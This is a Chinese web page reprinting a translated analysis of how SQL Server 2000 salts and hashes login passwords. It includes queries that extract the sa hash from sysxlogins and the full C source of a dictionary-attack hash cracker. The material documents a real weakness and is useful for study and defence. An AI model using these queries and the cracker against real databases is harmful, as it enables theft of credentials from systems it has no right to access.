最近文章更新
- 1966年生产的广州 珠江 SB6-2型 ..
- HD6870/6850全面评测,让你大饱眼..
- 百万现金刚入门 中国7大奢华私人..
- 罕见4G希捷酷鱼系类万转SCSI服务..
- IBM 6x86MX PR333 CPU
- 采用MC68000 CPU的进口老计算机主..
- 1989年IBM-XT机软驱
- BC3型饱和标准电池拆解
- JUKO ST
- Kingston 品牌的CPU
- YAMAHA 719
- intel 30线 内存条
- intel mmx cpu和主板
- 首款xHCI 1.0正式版标准USB 3.0控..
- 《极品飞车:地下狂飙》纹理MOD视..
- USB接口加扩展子卡:影驰神秘GTX..
- 阿里巴巴将发布浏览器 核心不是W..
- 黄仁勋大秀NVIDIA LOGO纹身
- Google Earth上的奇特卫星图片
- 开火!讯景限量版HD 5970详细测试..
相关文章链接
本类文章排行
最新新闻资讯
本周下载排行
- ArcSoft TotalMedia Theatre 3 P..
- Windows 7 Build 7600 16385 RTM..
- 《姗姗来迟软件光盘+飞扬PE工具箱..
- MSDN Windows 7 RTL 7600 Ultima..
- Windows 7 Home Premium (x86) -..
- Windows Virtual PC (x86) - (Mu..
- MSDN Windows 7 Language Pack X..
- Windows 7 Language Pack (x64) ..
- Windows 7 Starter (x86) - DVD ..
- Windows 7 Professional (x86) -..
- Windows 7 Language Pack (x86) ..
- Windows 7 Home Premium (x64) -..
- Windows XP Mode (x86, x64) - (..
- 7127.0.090507-1820_x86fre_clie..
- DMG2ISO
本月下载排行
- ArcSoft TotalMedia Theatre 3 P..
- Windows 7 Build 7600 16385 RTM..
- 《姗姗来迟软件光盘+飞扬PE工具箱..
- MSDN Windows 7 RTL 7600 Ultima..
- MSDN Windows 7 Language Pack X..
- Windows 7 Home Premium (x86) -..
- Windows 7 Language Pack (x64) ..
- Windows 7 Professional (x86) -..
- 7127.0.090507-1820_x86fre_clie..
- Windows 7 Professional (x64) -..
- Windows 7 Starter (x86) - DVD ..
- Windows Virtual PC (x86) - (Mu..
- Windows 7 Ultimate (x64) - DVD..
- Lenovo Windows 7 Ultimate OEM ..
- Windows 7 Home Premium (x64) -..
- 阅览次数: 文章来源: 原文作者: 整理日期: 2010-05-22
破解MSSQL中的HASH密码
破解MSSQL中的HASH密码
SQL服务器是怎样储存密码的?
SQL服务器使用了一个没有公开的函数pwdencrypt()对用户密码产生一个hash。通过研究我们可以发现这个hash储存在mater数据库的sysxlogins表里面。这个可能已经是众所周知的事情了。
pwdencrypt()函数还没有公布详细的资料,我们这份文档将详细对这个函数进行讨论,并将指出sql服务器储存hash的这种方法的一些不足之处。实际上,等下我将会说‘密码hashes’。(allyesno:后文会讨论到,由于时间的关系即使当密码相同的时候生成的hash也并不是唯一一个,所以是hashes)
SQL的密码hash看起来是怎样的呢?
我们使用查询分析器,或者任何一个SQL客户端来执行这条语句:select password from master.dbo.sysxlogins where name='sa'
屏幕会返回类似下面这行字符串的东东。0x01008D504D65431D6F8AA7AED333590D7DB1863CBFC98186BFAE06EB6B327EFA5449E6F649BA954AFF4057056D9B
这是我机子上登录密码的hash。
通过分析hash我们可以从中获取pwdencrypt()的一些什么信息?
1.时间
首先我们使用查询 select pwdencrypt() 来生成hash
select pwdencrypt('ph4nt0m')
生成hash
0x01002717D406C3CD0954EA4E909A2D8FE26B55A19C54EAC3123E8C65ACFB8F6F9415946017F7D4B8279BA19EFE77
ok再一次 select pwdencrypt('ph4nt0m')
0x0100B218215F1C57DD1CCBE3BD05479B1451CDB2DD9D1CE2B3AD8F10185C76CC44AFEB3DB854FB343F3DBB106CFB
我们注意到,虽然两次我们加密的字符串都是ph4nt0m但是生成的hash却不一样。那么是什么使两次hash的结果不一样呢,我们大胆的推测是时间在这里面起到了关键的作用,它是创建密码hashes和储存hashes的重要因素。之所以使用这样的方式,是因为当两个人输入同样的密码时可以以此产生不同的密码hashes用来掩饰他们的密码是相同的。
2.大小写(广告时间:英汉网络技术词汇这本字典好,翻译的时候很多金山词霸找不到的东西,它都能弄出来)
使用查询
select pwdencrypt('ALLYESNO')
我们将得到hash
0x01004C61CD2DD04D67BD065181E1E8644ACBE3551296771E4C91D04D67BD065181E1E8644ACBE3551296
771E4C91
通过观察,我们可以发现这段hash中有两段是相同的,如果你不能马上看出来,让我们把它截断来看。
0x0100(固定)
4C61CD2D(补充key)
D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash)
D04D67BD065181E1E8644ACBE3551296771E4C91(大写hash)
现在我们可以看出来最后两组字符串是一模一样的了。这说明这段密码被相同的加密方式进行了两次加密。一组是按照字符原型进行加密,另一组是按照字符的大写形式进行了加密。当有人尝试破解SQL密码的时候将会比他预期要容易,这是一个糟糕的加密方式。因为破解密码的人不需要理会字符原型是大写还是小写,他们只需要破解大写字符就可以了。这将大大减少了破解密码者所需要破解密码的字符数量。(allyesno:flashsky的文章《浅谈SQL SERVER数据库口令的脆弱性》中曾经提到“如因为其算法一样,如果HASH1=HASH2,就可以判断口令肯定是未使用字母,只使用了数字和符号的口令”。实际上并不如flashsky所说的完全相同,我们使用了select pwdencrypt()进行加密以后就可以发现使用了数字和符号和大写字母的密码其hash1和hash2都会相同,所以这是flashsky文章中一个小小的bug)
补充key
根据上文所述,当时间改变的时候也会使得hash改变,在hash中有一些跟时间有关系的信息使得密码的hashes不相同,这些信息是很容易获取的。当我们登录的时候依靠从登录密码中和数据库中储存的hash信息,就可以做一个比较从而分析出这部分信息,我们可以把这部分信息叫做补充key。
上文中我们获取的hash中,补充key 4C61CD2D 就是这个信息的一部分。
这个key 4C61CD2D 由以下阐述的方法生成。
time()C 函数被调用作为一个种子传递给srand()函数。一旦srand()函数被作为rand()函数的种子并且被调用生成伪随机key,srand()就会设置了一个起点产生一系列的(伪)随机key。然后sql服务器会将这个key截断取一部分,放置在内存里面。我们叫它key1。这个过程将会再运行一次并生成另一个key我们叫他key2。两个key连在一起就生成了我们用来加密密码的补充key。
密码的散列法
用户的密码会被转换成UNICODE形式。补充key会添加到他们后面。例如以下所示:{'A','L','L','Y','E','S','N','O',0x4C,0x61,0xCD,0x2D}
以上的字符串将会被sql服务器使用pwdencrypt()函数进行加密(这个函数位于advapi32.dll)。生成两个hash
0x0100(固定)
4C61CD2D(补充key)
D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash)
D04D67BD065181E1E8644ACBE3551296771E4C91(大写hash)
验证过程
用户登录SQL服务器的验证过程是这样子的:当用户登陆的时候,SQL服务器在数据库中调用上面例
子中的补充key4C61CD2D,将其附加在字符串“ALLYESNO”的后面,然后使用pwdencrypt()函数进行加密。然后把生成的hash跟数据库内的hash进行对比,以此来验证用户输入的密码是否正确。
SQL服务器密码破解
我们可以使用同样的方式去破解SQL的密码。当然我们会首先选择使用大写字母和符号做为字典进行破解,这比猜测小写字母要来得容易。
一个命令行的MSSQL服务器HASH破解工具源代码
以下是引用片段: ///////////////////////////////////////////////////////////////////////////////// // // SQLCrackCl // // This will perform a dictionary attack against the // upper-cased hash for a password. Once this // has been discovered try all case variant to work // out the case sensitive password. // // This code was written by David Litchfield to // demonstrate how Microsoft SQL Server 2000 // passwords can be attacked. This can be // optimized considerably by not using the CryptoAPI. // // (Compile with VC++ and link with advapi32.lib // Ensure the Platform SDK has been installed, too!) // ////////////////////////////////////////////////////////////////////////////////// #i nclude #i nclude #i nclude FILE *fd=NULL; char *lerr = "\nLength Error!\n"; int wd=0; int OpenPasswordFile(char *pwdfile); int CrackPassword(char *hash); int main(int argc, char *argv[]) { int err = 0; if(argc !=3) { printf("\n\n*** SQLCrack *** \n\n"); printf("C:\>%s hash passwd-file\n\n",argv[0]); printf("David Litchfield (david@ngssoftware.com)\n"); printf("24th June 2002\n"); return 0; } err = OpenPasswordFile(argv[2]); if(err !=0) { return printf("\nThere was an error opening the password file %s\n",argv[2]); } err = CrackPassword(argv[1]); fclose(fd); printf("\n\n%d",wd); return 0; } int OpenPasswordFile(char *pwdfile) { fd = fopen(pwdfile,"r"); if(fd) return 0; else return 1; } int CrackPassword(char *hash) { char phash[100]=""; char pheader[8]=""; char pkey[12]=""; char pnorm[44]=""; char pucase[44]=""; char pucfirst[8]=""; char wttf[44]=""; char uwttf[100]=""; char *wp=NULL; char *ptr=NULL; int cnt = 0; int count = 0; unsigned int key=0; unsigned int t=0; unsigned int address = 0; unsigned char cmp=0; unsigned char x=0; HCRYPTPROV hProv=0; HCRYPTHASH hHash; DWORD hl=100; unsigned char szhash[100]=""; int len=0; if(strlen(hash) !=94) { return printf("\nThe password hash is too short!\n"); } if(hash[0]==0x30 && (hash[1]== ’x’ || hash[1] == ’X’)) { hash = hash + 2; strncpy(pheader,hash,4); printf("\nHeader\t\t: %s",pheader); if(strlen(pheader)!=4) return printf("%s",lerr); hash = hash + 4; strncpy(pkey,hash,8); printf("\nRand key\t: %s",pkey); if(strlen(pkey)!=8) return printf("%s",lerr); hash = hash + 8; strncpy(pnorm,hash,40); printf("\nNormal\t\t: %s",pnorm); if(strlen(pnorm)!=40) return printf("%s",lerr); hash = hash + 40; strncpy(pucase,hash,40); printf("\nUpper Case\t: %s",pucase); if(strlen(pucase)!=40) return printf("%s",lerr); strncpy(pucfirst,pucase,2); sscanf(pucfirst,"%x",&cmp); } else { return printf("The password hash has an invalid format!\n"); } printf("\n\n Trying...\n"); if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0)) { if(GetLastError()==NTE_BAD_KEYSET) { // KeySet does not exist. So create a new keyset if(!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_NEWKEYSET )) { printf("FAILLLLLLL!!!"); return FALSE; } } } while(1) { // get a word to try from the file ZeroMemory(wttf,44); if(!fgets(wttf,40,fd)) return printf("\nEnd of password file. Didn’t find the password.\n"); wd++; len = strlen(wttf); wttf[len-1]=0x00; ZeroMemory(uwttf,84); // Convert the word to UNICODE while(count < len) { uwttf[cnt]=wttf[count]; cnt++; uwttf[cnt]=0x00; count++; cnt++; } len --; wp = &uwttf; sscanf(pkey,"%x",&key); cnt = cnt - 2; // Append the random stuff to the end of // the uppercase unicode password t = key >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; t = key << 8; t = t >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; t = key << 16; t = t >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; t = key << 24; t = t >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; // Create the hash if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash)) { printf("Error %x during CryptCreatHash!\n", GetLastError()); return 0; } if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0)) { printf("Error %x during CryptHashData!\n", GetLastError()); return FALSE; } CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0); // Test the first byte only. Much quicker. if(szhash[0] == cmp) { // If first byte matches try the rest ptr = pucase; cnt = 1; while(cnt < 20) { ptr = ptr + 2; strncpy(pucfirst,ptr,2); sscanf(pucfirst,"%x",&cmp); if(szhash[cnt]==cmp) cnt ++; else { break; } } if(cnt == 20) { // We’ve found the password printf("\nA MATCH!!! Password is %s\n",wttf); return 0; } } count = 0; cnt=0; } return 0; } |